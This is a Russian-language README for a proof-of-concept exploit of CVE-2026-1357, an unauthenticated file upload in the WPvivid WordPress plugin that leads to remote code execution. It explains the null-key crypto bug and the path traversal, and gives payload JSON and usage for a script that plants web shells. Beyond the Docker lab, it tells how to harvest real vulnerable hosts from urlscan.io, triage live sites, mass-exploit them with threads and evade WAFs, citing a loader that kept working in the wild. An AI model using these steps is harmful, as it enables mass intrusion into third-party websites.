
Доказательство концепции эксплуатации для CVE-2026-1357 — неаутентифицированная произвольная загрузка файлов в WPvivid Backup & Migration, приводящая к удалённому выполнению кода. Включает автономный скрипт на Python, методы обхода WAF и Docker-контейнер с уязвимой лабораторией для авторизации
PoC для CVE-2026-1357 (CVSS 9.8 Critical, CWE-434): неаутентифицированная произвольная загрузка файлов в плагине WPvivid Backup & Migration для WordPress, которая приводит к удалённому выполнению кода. Исправлено в 0.9.124 (changeset 3448386). Обнаружено Lucas Montes через программу Bug Bounty от Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Данный proof of concept предоставлен только для авторизованных исследований в области безопасности, обучения и защитного тестирования.
Неаутентифицированный обработчик send_to_site
(includes/customclass/class-wpvivid-send-to-site.php) расшифровывает
предоставленный атакующим blob и записывает содержимое $params['data'] в
wp-content/wpvividbackups/<контролируемое атакующим имя> — без
аутентификации, без nonce и без санитизации пути в name.
Предусмотренная защита — RSA: сообщение должно быть зашифровано случайным
сеансовым ключом, который сам зашифрован RSA с использованием ключа сайта. Ошибка
в WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // возвращает FALSE при ошибке (некорректный blob ключа)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE обрабатывается как нулевой байтовый ключ
return $rij->decrypt($data);
Метод Crypt_RSA::decrypt() из phpseclib возвращает false, когда предоставленный blob ключа
не может быть расшифрован (например, openssl_private_decrypt() завершается ошибкой), и плагин
не прерывает выполнение. Затем false передаётся в Crypt_Rijndael::setKey(), где
strlen(false) → 0 → ключ дополняется до 16 нулевых байтов (AES-128, режим CBC,
нулевой IV). Таким образом, атакующий «шифрует» полезную нагрузку полностью
предсказуемым нулевым ключом — знание реального ключа сайта не требуется.
Полезная нагрузка — JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name конкатенируется в путь без санитизации
(str_replace('wpvivid','wpvivid_temp', $name) переписывает только
подстроку «wpvivid»), поэтому ../../ выходит из wp-content/wpvividbackups/ в
корень веб-сервера. Когда file_size/md5 совпадают, временный файл переименовывается в
выбранное атакующим имя → публично доступный PHP → RCE.
Исправление (changeset 3448386) прерывает выполнение при сбое шага RSA:
if ($key === false || empty($key)) {
return false;
}
Цель:
wpvivid_api_token должна существовать и не быть просроченной — создаётся
при нажатии администратором Generate в WPvivid → Settings → Auto
Migration (часто встречается на сайтах, использующих функцию миграции)Атакующий:
script.py полностью автономен: только стандартная библиотека, без локальных импортов,
без внешних файлов. Простой позиционный CLI:
# одиночная цель
python script.py https://target.example.com
# пользовательская команда
python script.py https://target.example.com --command "uname -a"
# пакетный режим (по одному URL на строку) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# обход WAF: процентно-кодированные имена/значения параметров или multipart-тело
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# самоудаление веб-шелла после теста
python script.py https://target.example.com --cleanup
Коды выхода: 0 — уязвим, 1 — иначе.
../lab/ содержит докеризованную уязвимую цель (WordPress 6.8 + исходники WPvivid
0.9.123 из plugins/):
cd ../lab
docker compose up -d
# завершите установку WordPress на http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Проверенные рабочие источники (протестировано вживую, без необходимости в аккаунте):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 проиндексированных страницы, ссылающихся на слаг плагина; переходите по ним и собирайте
имена хостов. Каждый URL результата начинается с пути плагина
(/wp-content/plugins/wpvivid-backuprestore/), поэтому извлечение хостов простое.Запросы, которые были протестированы и НЕ дают целей (намеренно исключены):
Google/Bing dorks (inurl: возвращает только страницы плагина на wordpress.org
или бот-стену), DuckDuckGo (то же самое), Shodan http.html: (индексирует усечённый
HTML, ноль результатов), Wayback CDX wildcard (пусто), PublicWWW (гостевое
сканирование заблокировано).
Передайте собранные хосты в триаж (встроен в script.py как --triage),
который проверяет для каждого сайта:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (неаутентифицированная низкошумная проверка; ?ver= строки запроса
в HTML — запасной вариант)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON-ответ (The key is invalid.) = wpvivid_api_token существует;
пусто = нет токена / плагин неактивен / WAF отбросил пробуТолько сайты, которые <= 0.9.123 и с живым токеном, записываются в
in-scope.txt, затем:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Методы, перенесённые из долгоживущего загрузчика 2025 года, который продолжал работать в реальных условиях (тот же автор):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer того же происхождения, браузерный UAReferer того же происхождения--threads N) с короткими таймаутами на запросsuccess.txt / failed.txt записываются в пакетном режиме, только подтверждённые шеллы
записываются как успех (как файл success в оригинале)--encode / --multipart для обхода формы запроса../lab/waf/ добавляет обратный прокси owasp/modsecurity-crs:apache перед
уязвимым WordPress (WAF на :8092, сырая цель на :8093). Измеренное
поведение:
| Шаг | Результат через CRS |
|---|---|
| POST-загрузка (обычная) | проходит — AES-blob + AJAX-заголовки не соответствуют ни одному правилу CRS |
POST-загрузка (--encode) | проходит |
POST-загрузка (--multipart) | проходит |
GET к шеллу ?<p>=id / hostname / ls | проходит, команда выполняется |
GET к шеллу ?<p>=id; hostname; uname -a | 403 — правила CRS 932xxx для инъекций команд |
| Обычный GET (маркер PWN-OK) | проходит |
Зашифрованная загрузка невидима для проверки содержимого CRS (то же свойство
выживания, что и у AJAX-загрузчика 2025 года, выглядящего как белый список). Единственная поверхность CRS —
последующий GET с командой, поэтому инструмент теперь по умолчанию использует --command id
и подтверждает RCE через обычный GET-маркер PWN-OK, даже если GET с командой
отфильтрован WAF (сообщается как vulnerable с примечанием). Локальные WAF, которые
сигнатурят wpvivid_action=send_to_site (например, виртуальный патч Wordfence), по-прежнему
блокируют саму загрузку на уровне плагина — никакие уловки с формой запроса
не обходят их.